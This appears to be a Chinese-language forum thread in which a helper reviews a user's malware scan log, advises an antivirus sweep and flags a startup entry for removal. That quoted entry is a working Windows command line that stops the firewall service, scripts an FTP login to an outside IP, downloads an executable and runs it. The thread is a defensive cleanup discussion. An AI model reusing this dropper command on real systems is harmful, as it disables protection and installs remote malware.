c:\windows\781343.exe
c:\windows\system32\knideyrmb.jpg
c:\program files\dhfq\yyuwbnkao.bmp
c:\windows\filename.jpg
c:\documents and settings\360.dll
c:\program files\uima\lxkwishlu.jpg
c:\windows\system32\yjsoft.ini
c:\program files\common files\svchest13943.exe
c:\windows\v2011.exe
c:\program files\common files\svchest13941.exe
c:\program files\common files\svchest13956.exe
c:\program files\common files\svchest13912.exe
c:\program files\common files\svchest13930.exe
c:\program files\qktgdy htnfihjj\explorer.exe
c:\documents and settings\all users\application data\storm\update\%youshizhuay%\jquer.cc3
c:\documents and settings\all users\application data\storm\update\%youshizhuay%\xlyuu.cc3
c:\documents and settings\all users\application data\storm\update\%youshizhuay%\vtndm.cc3
c:\documents and settings\all users\application data\storm\update\%youshizhuay%\ofllq.cc3
c:\documents and settings\all users\application data\storm\update\%youshizhuay%\pcwxh.cc3
c:\documents and settings\all users\application data\storm\update\%youshizhuay%\oqrgd.cc3
c:\windows\system32\rbmytfc.dll
c:\windows\system32\360.dll
c:\windows\system32\knideyrmb.jpg
c:\program files\uima\lxkwishlu.jpg
c:\program files\dhfq\yyuwbnkao.bmp
c:\windows\filename.jpg
c:\windows\system32\wnugshlw.dll
[已启用] At5.job
        C:\WINDOWS\system32\cls.bat
[已启用] At4.job
        C:\PROGRA~1\Dianji\LAVA-L~1\LAVA-L~1.EXE
[已启用] At3.job
        E:\PROGRA~1\GKEXPR~1\LAVA-L~1.EXE
[已启用] At2.job
        e:\backup\start.cmd
[已启用] At1.job
        e:\backup\start.cmd
[已启用] hf255.job
        E:\sqlbackup\hf255.bat
[已启用] At6.job
        C:\WINDOWS\system32\cls.bat

文件太多了，先用你装的杀毒软件进行杀毒啊。不行先装个瑞星进行全盘杀毒。

这个启动项也要删除<shell><c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 222.186.33.52> cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&p -s:cmd.txt&p -s:cmd.txt&1.exe&1.exe&del cmd.txt /q /f&exit>  [(Verified)Microsoft Windows Component Publisher]

那几个计划任务是你自己写得嘛

计划任务是我建立的。我看了，确实很多文件被感染。里面没有大版主需要的文件是吧？那我就全部删除了。谢谢大版主。